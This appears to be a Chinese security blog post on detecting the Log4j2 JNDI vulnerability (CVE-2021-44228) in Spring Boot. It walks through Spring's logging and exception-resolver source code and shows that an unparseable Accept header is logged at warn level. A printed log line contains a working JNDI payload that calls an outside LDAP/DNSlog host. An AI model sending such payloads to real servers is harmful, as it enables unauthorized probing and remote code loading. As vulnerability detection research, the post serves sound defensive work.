浅谈Log4j2在Springboot的检测

admin 2022年11月11日18:51:47浅谈Log4j2在Springboot的检测已关闭评论210 views字数 14620阅读48分44秒阅读模式

引言

  Apache Log4j是一个基于Java的日志记录工具。通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。

  其中的CVE-2021-44228从披露到整改修复已经持续了有一段时间了,跟struts2、fastjson这类的漏洞一样,log4j2的漏洞也会是持续的运营重点之一,例如版本控制黑盒/白盒扫描等。那么针对Java生态中最常用的Spring框架,有没有一种稳定的触发方式,方便黑盒日常的扫描探测,来规避风险呢?

  以Springboot为例,尝试找到一种稳定的触发方式来方便漏洞的排查/运营。

浅谈Log4j2在Springboot的检测

Spring日志相关

  Spring默认使用的日志记录组件不是log4j,最开始在core包中引入的是commons-logging(JCL标准实现)的日志系统,官方考虑到兼容问题,在后续的Spring版本中并未予以替换,而是继续沿用。如果考虑到性能、效率,应该自行进行替换,可以在项目中明确指定使用的日志框架,从而在编译时就指定日志框架。

  commons-logging日志系统是基于运行发现算法(常见的方式就是每次使用org.apache.commons.logging.LogFactory.getLogger(xxx),就会启动一次发现流程),获取最适合的日志系统完成日志记录的功能。部分源码实现:

  • 调用静态的getLog方法,通过LogAdapter适配器来创建具体的Logs对象:

```java
public abstract class LogFactory {

public static Log getLog(String name) {
    return LogAdapter.createLog(name);
}

```

  • LogAdapter在static代码中根据日志系统jar包类是否存在/可以被加载,识别当前系统的日志实现方式,默认使用JUL,然后使用 switch case的方式结合之前的判断来调用具体的日志适配器,创建具体Log对象:

```java
static {
if (isPresent("org.apache.logging.log4j.spi.ExtendedLogger")) {
if (isPresent("org.apache.logging.slf4j.SLF4JProvider") && isPresent("org.slf4j.spi.LocationAwareLogger")) {
logApi = LogAdapter.LogApi.SLF4J_LAL;
} else {
logApi = LogAdapter.LogApi.LOG4J;
}
} else if (isPresent("org.slf4j.spi.LocationAwareLogger")) {
logApi = LogAdapter.LogApi.SLF4J_LAL;
} else if (isPresent("org.slf4j.Logger")) {
logApi = LogAdapter.LogApi.SLF4J;
} else {
logApi = LogAdapter.LogApi.JUL;
}

}

public static Log createLog(String name) {
switch(logApi) {
case LOG4J:
return LogAdapter.Log4jAdapter.createLog(name);
case SLF4J_LAL:
return LogAdapter.Slf4jAdapter.createLocationAwareLog(name);
case SLF4J:
return LogAdapter.Slf4jAdapter.createLog(name);
default:
return LogAdapter.JavaUtilAdapter.createLog(name);
}
}
```

  • 最后根据具体的日志框架对相应的方法进行包装适配,即可调用具体的日志系统方法。以log4j为例:

```java
private static class Log4jLog implements Log, Serializable {
private static final String FQCN = LogAdapter.Log4jLog.class.getName();
private static final LoggerContext loggerContext = LogManager.getContext(LogAdapter.Log4jLog.class.getClassLoader(), false);
private final ExtendedLogger logger;

    public Log4jLog(String name) {
        LoggerContext context = loggerContext;
        if (context == null) {
            context = LogManager.getContext(LogAdapter.Log4jLog.class.getClassLoader(), false);
        }

        this.logger = context.getLogger(name);
    }

    public boolean isFatalEnabled() {
        return this.logger.isEnabled(org.apache.logging.log4j.Level.FATAL);
    }

    public boolean isErrorEnabled() {
        return this.logger.isEnabled(org.apache.logging.log4j.Level.ERROR);
    }

    public boolean isWarnEnabled() {
        return this.logger.isEnabled(org.apache.logging.log4j.Level.WARN);
    }

    public boolean isInfoEnabled() {
        return this.logger.isEnabled(org.apache.logging.log4j.Level.INFO);
    }

    public boolean isDebugEnabled() {
        return this.logger.isEnabled(org.apache.logging.log4j.Level.DEBUG);
    }

    public boolean isTraceEnabled() {
        return this.logger.isEnabled(org.apache.logging.log4j.Level.TRACE);
    }

    public void fatal(Object message) {
        this.log(org.apache.logging.log4j.Level.FATAL, message, (Throwable)null);
    }

    public void fatal(Object message, Throwable exception) {
        this.log(org.apache.logging.log4j.Level.FATAL, message, exception);
    }

    public void error(Object message) {
        this.log(org.apache.logging.log4j.Level.ERROR, message, (Throwable)null);
    }

    public void error(Object message, Throwable exception) {
        this.log(org.apache.logging.log4j.Level.ERROR, message, exception);
    }

    public void warn(Object message) {
        this.log(org.apache.logging.log4j.Level.WARN, message, (Throwable)null);
    }

    public void warn(Object message, Throwable exception) {
        this.log(org.apache.logging.log4j.Level.WARN, message, exception);
    }

    public void info(Object message) {
        this.log(org.apache.logging.log4j.Level.INFO, message, (Throwable)null);
    }

    public void info(Object message, Throwable exception) {
        this.log(org.apache.logging.log4j.Level.INFO, message, exception);
    }

    public void debug(Object message) {
        this.log(org.apache.logging.log4j.Level.DEBUG, message, (Throwable)null);
    }

    public void debug(Object message, Throwable exception) {
        this.log(org.apache.logging.log4j.Level.DEBUG, message, exception);
    }

    public void trace(Object message) {
        this.log(org.apache.logging.log4j.Level.TRACE, message, (Throwable)null);
    }

    public void trace(Object message, Throwable exception) {
        this.log(org.apache.logging.log4j.Level.TRACE, message, exception);
    }

    private void log(org.apache.logging.log4j.Level level, Object message, Throwable exception) {
        if (message instanceof String) {
            if (exception != null) {
                this.logger.logIfEnabled(FQCN, level, (org.apache.logging.log4j.Marker)null, (String)message, exception);
            } else {
                this.logger.logIfEnabled(FQCN, level, (org.apache.logging.log4j.Marker)null, (String)message);
            }
        } else {
            this.logger.logIfEnabled(FQCN, level, (org.apache.logging.log4j.Marker)null, message, exception);
        }

    }
}

```

  以Springboot为例,引入log4j的日志解析方法如下:

xml
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>

PS:Spring的话同样的只需在依赖中剔除common-loggin包,然后引入其他日志系统就可以了:

xml
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<exclusions>
<exclusion>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
</exclusion>
</exclusions>
</dependency>

Spring异常Exception相关

  引入了漏洞版本的log4j依赖的话,自然会受到影响,如果想找到一个稳定触发验证的point。思路之一是可以寻找打印日志的地方。一般来说,系统在发生异常Exception的时候,有可能会进行日志操作

  首先看下Spring异常处理的相关interface/class,看看能不能找到一些思路:

  • AbstractHandlerExceptionResolver抽象类
  • AbstractHandlerMethodExceptionResolver抽象类
  • ExceptionHandlerExceptionResolver类
  • DefaultHandlerExceptionResolver类
  • ResponseStatusExceptionResolver类
  • SimpleMappingExceptionResolver类

  HandlerExceptionResolver接口是SpringMVC异常处理核心接口,定义了具体的异常解析方法:

Java
ModelAndView resolveException(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex);

  AbstractHandlerExceptionResolver会实现HandlerExceptionResolver接口,并在resolveException中定义了具体异常解析的方式,可以理解是一个通用的Exception处理框架:

```Java
public abstract class AbstractHandlerExceptionResolver implements HandlerExceptionResolver, Ordered {
@Nullable
public ModelAndView resolveException(HttpServletRequest request, HttpServletResponse response, @Nullable Object handler, Exception ex) {
if (!this.shouldApplyTo(request, handler)) {
return null;
} else {
this.prepareResponse(ex, response);
ModelAndView result = this.doResolveException(request, response, handler, ex);
if (result != null) {
if (this.logger.isDebugEnabled() && (this.warnLogger == null || !this.warnLogger.isWarnEnabled())) {
this.logger.debug(this.buildLogMessage(ex, request) + (result.isEmpty() ? "" : " to " + result));
}
//logException这里进行了日志输出。
this.logException(ex, request);
}

        return result;
    }
}

```

  类似DefaultHandlerExceptionResolver会继承AbstractHandlerExceptionResolver抽象类,基本上所有的spring内置异常解析类都会继承它:

Java
public class DefaultHandlerExceptionResolver extends AbstractHandlerExceptionResolver {

分析验证

  根据上面提到的思路,类似ResponseStatusExceptionResolver会解析带有@ResponseStatus的异常类,将其中的异常信息描述直接返回给客户端。即使把对应的内容写入到了log message中,也有一定的触发条件,不符合稳定触发的预期,同理,AbstractHandlerMethodExceptionResolver,该类主要处理Controller中用@ExceptionHandler注解定义的方法。也有一定的前提。

  DefaultHandlerExceptionResolver会对一些请求的异常进行处理,比如NoSuchRequestHandlingMethodException、HttpRequestMethodNotSupportedException、HttpMediaTypeNotSupportedException、HttpMediaTypeNotAcceptableException等。符合稳定触发的预期(例如request method异常,如果对应的内容封装到log4 message并且进行了打印即可触发):

```java
public class DefaultHandlerExceptionResolver extends AbstractHandlerExceptionResolver {
public static final String PAGE_NOT_FOUND_LOG_CATEGORY = "org.springframework.web.servlet.PageNotFound";

protected static final Log pageNotFoundLogger = LogFactory.getLog("org.springframework.web.servlet.PageNotFound");

public DefaultHandlerExceptionResolver() {
setOrder(2147483647);
setWarnLogCategory(getClass().getName());
}

@Nullable
protected ModelAndView doResolveException(HttpServletRequest request, HttpServletResponse response, @Nullable Object handler, Exception ex) {
try {
if (ex instanceof HttpRequestMethodNotSupportedException)
return handleHttpRequestMethodNotSupported((HttpRequestMethodNotSupportedException)ex, request, response, handler);
if (ex instanceof HttpMediaTypeNotSupportedException)
return handleHttpMediaTypeNotSupported((HttpMediaTypeNotSupportedException)ex, request, response, handler);
if (ex instanceof HttpMediaTypeNotAcceptableException)
return handleHttpMediaTypeNotAcceptable((HttpMediaTypeNotAcceptableException)ex, request, response, handler);
if (ex instanceof MissingPathVariableException)
return handleMissingPathVariable((MissingPathVariableException)ex, request, response, handler);
if (ex instanceof MissingServletRequestParameterException)
return handleMissingServletRequestParameter((MissingServletRequestParameterException)ex, request, response, handler);
if (ex instanceof ServletRequestBindingException)
return handleServletRequestBindingException((ServletRequestBindingException)ex, request, response, handler);
if (ex instanceof ConversionNotSupportedException)
return handleConversionNotSupported((ConversionNotSupportedException)ex, request, response, handler);
if (ex instanceof TypeMismatchException)
return handleTypeMismatch((TypeMismatchException)ex, request, response, handler);
if (ex instanceof HttpMessageNotReadableException)
return handleHttpMessageNotReadable((HttpMessageNotReadableException)ex, request, response, handler);
if (ex instanceof HttpMessageNotWritableException)
return handleHttpMessageNotWritable((HttpMessageNotWritableException)ex, request, response, handler);
if (ex instanceof MethodArgumentNotValidException)
return handleMethodArgumentNotValidException((MethodArgumentNotValidException)ex, request, response, handler);
if (ex instanceof MissingServletRequestPartException)
return handleMissingServletRequestPartException((MissingServletRequestPartException)ex, request, response, handler);
if (ex instanceof BindException)
return handleBindException((BindException)ex, request, response, handler);
if (ex instanceof NoHandlerFoundException)
return handleNoHandlerFoundException((NoHandlerFoundException)ex, request, response, handler);
if (ex instanceof AsyncRequestTimeoutException)
return handleAsyncRequestTimeoutException((AsyncRequestTimeoutException)ex, request, response, handler);
} catch (Exception handlerEx) {
if (this.logger.isWarnEnabled())
this.logger.warn("Failure while trying to resolve exception [" + ex.getClass().getName() + "]", handlerEx);
}
return null;

```

  DefaultHandlerExceptionResolver继承自AbstractHandlerExceptionResolver且没有重写resolveException方法,那么会调用对应的逻辑:

```java
@Nullable
public ModelAndView resolveException(HttpServletRequest request, HttpServletResponse response, @Nullable Object handler, Exception ex) {
//判断是否需要异常解析
if (!this.shouldApplyTo(request, handler)) {
return null;
} else {
this.prepareResponse(ex, response);
ModelAndView result = this.doResolveException(request, response, handler, ex);
if (result != null) {
if (this.logger.isDebugEnabled() && (this.warnLogger == null || !this.warnLogger.isWarnEnabled())) {
this.logger.debug(this.buildLogMessage(ex, request) + (result.isEmpty() ? "" : " to " + result));
}
//日志输出
this.logException(ex, request);
}

        return result;
    }
}

```

  在logException方法会将异常进行对应的日志输出:

java
protected void logException(Exception ex, HttpServletRequest request) {
if (this.warnLogger != null && this.warnLogger.isWarnEnabled()) {
this.warnLogger.warn(this.buildLogMessage(ex, request));
}
}

  这里调用的是warnLogger,根据前面对日志解析过程的分析,如果使用的日志框架是Log4j的话,Spring自适配后其调用的warn方法类似于Log4j的log.warn(),那么若能找到一个Exception其中的异常信息用户可控且调用了warnLogger.warn()的话便可找到一个稳定触发验证的point了:

浅谈Log4j2在Springboot的检测

  根据上面的思路,查看符合条件的方法,通过检索HttpMediaTypeNotAcceptableException关键字发现了如下class,看看具体的内容:

浅谈Log4j2在Springboot的检测

  在Spring中,HeaderContentNegotiationStrategy类主要负责HTTP Header里的Accept字段的解析,如果 Accept请求头不能被解析则抛出HttpMediaTypeNotAcceptableException异常,并且对应的Accept内容会封装进message中

```java
/*
* A {@code ContentNegotiationStrategy} that checks the 'Accept' request header.
*
* @author Rossen Stoyanchev
* @author Juergen Hoeller
* @since 3.2
/
public class HeaderContentNegotiationStrategy implements ContentNegotiationStrategy {

    /**
     * {@inheritDoc}
     * @throws HttpMediaTypeNotAcceptableException if the 'Accept' header cannot be parsed
     */
    @Override
    public List<MediaType> resolveMediaTypes(NativeWebRequest request)
                    throws HttpMediaTypeNotAcceptableException {

            String[] headerValueArray = request.getHeaderValues(HttpHeaders.ACCEPT);
            if (headerValueArray == null) {
                    return MEDIA_TYPE_ALL_LIST;
            }

            List<String> headerValues = Arrays.asList(headerValueArray);
            try {
                    List<MediaType> mediaTypes = MediaType.parseMediaTypes(headerValues);
                    MediaType.sortBySpecificityAndQuality(mediaTypes);
                    return !CollectionUtils.isEmpty(mediaTypes) ? mediaTypes : MEDIA_TYPE_ALL_LIST;
            }
            catch (InvalidMediaTypeException ex) {
                    throw new HttpMediaTypeNotAcceptableException(
                                    "Could not parse 'Accept' header " + headerValues + ": " + ex.getMessage());
            }
    }

}
```

  并且这里会进入DefaultHandlerExceptionResolver进行解析。

  验证前面的猜想,在Accept字段写入相应的poc(poc内容肯定是不符合MediaType的):

浅谈Log4j2在Springboot的检测

  可以看到由于MediaType转化错误打印了warn级别的日志(调用了AbstractHandlerExceptionResolver的warnLogger):

Java
2021-12-26 11:01:31.782 WARN 11873 --- [nio-8080-exec-2] .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframework.web.HttpMediaTypeNotAcceptableException: Could not parse 'Accept' header [text/html${jndi:ldap://fyh9pj.dnslog.cn:1389/}]: Invalid mime type "text/html${jndi:ldap://fyh9pj.dnslog.cn:1389/}": Invalid token character '{' in token "html${jndi:ldap://fyh9pj.dnslog.cn:1389/}"]

  断点查看对应的message:

浅谈Log4j2在Springboot的检测

  并且dnslog成功接收到请求,验证成功:

浅谈Log4j2在Springboot的检测

其他

  除此以外,开发常常会使用自定的AOP来进行日志的打印,例如下面的例子记录了请求的方法和path(一些鉴权中间件为了调试/审计,会记录request请求的内容),也是一个可以尝试的point:

```java
@Aspect
@Configuration
@Log4j2
public class LogConsole {

// 定义切点Pointcut
@Pointcut("execution(* com.tools.toolmange.handler.*.*(..))")
public void executeService() {
}

/**
 * 在切点之前织入
 */
@Before("executeService()")
public void doBefore(JoinPoint joinPoint) throws Throwable {
    // 开始打印请求日志
    ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
    HttpServletRequest request = attributes.getRequest();
    if (request == null)
        return;

    String username = "";

    try{
        username = SecurityContextHolder.getUserDetails().getUsername();
    }catch (Exception e){
        log.info("打印请求参数,用户登陆过期 无法获取请求参数");
    }

    // 打印请求相关参数
    log.info("========================================== Start ==========================================");
    //请求人
    log.info("UserCode       :"+ username );
    // 打印请求 url
    log.info("URL            : {}", request.getRequestURL().toString());
    // 打印 Http method
    log.info("HTTP Method    : {}", request.getMethod());
    // 打印调用 controller 的全路径以及执行方法
    log.info("Class Method   : {}.{}", joinPoint.getSignature().getDeclaringTypeName(), joinPoint.getSignature().getName());
    // 打印请求的 IP
    log.info("IP             : {}", request.getRemoteAddr());
    // 打印请求入参
    log.info("Request Args   : {}", JSONUtil.toJsonStr(joinPoint.getArgs()));
}

/**
 * 在切点之后织入
 */
@After("executeService()")
public void doAfter() throws Throwable {
    log.info("=========================================== End ===========================================");
    // 每个请求之间空一行
    log.info("");
}

/**
 * 环绕
 */
@Around("executeService()")
public Object doAround(ProceedingJoinPoint proceedingJoinPoint) throws Throwable {
    long startTime = System.currentTimeMillis();
    Object result = proceedingJoinPoint.proceed();

    // 执行耗时
    log.info("Time-Consuming : {} ms", System.currentTimeMillis() - startTime);
    return result;
}

}

```

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月11日18:51:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   浅谈Log4j2在Springboot的检测https://cn-sec.com/archives/752224.html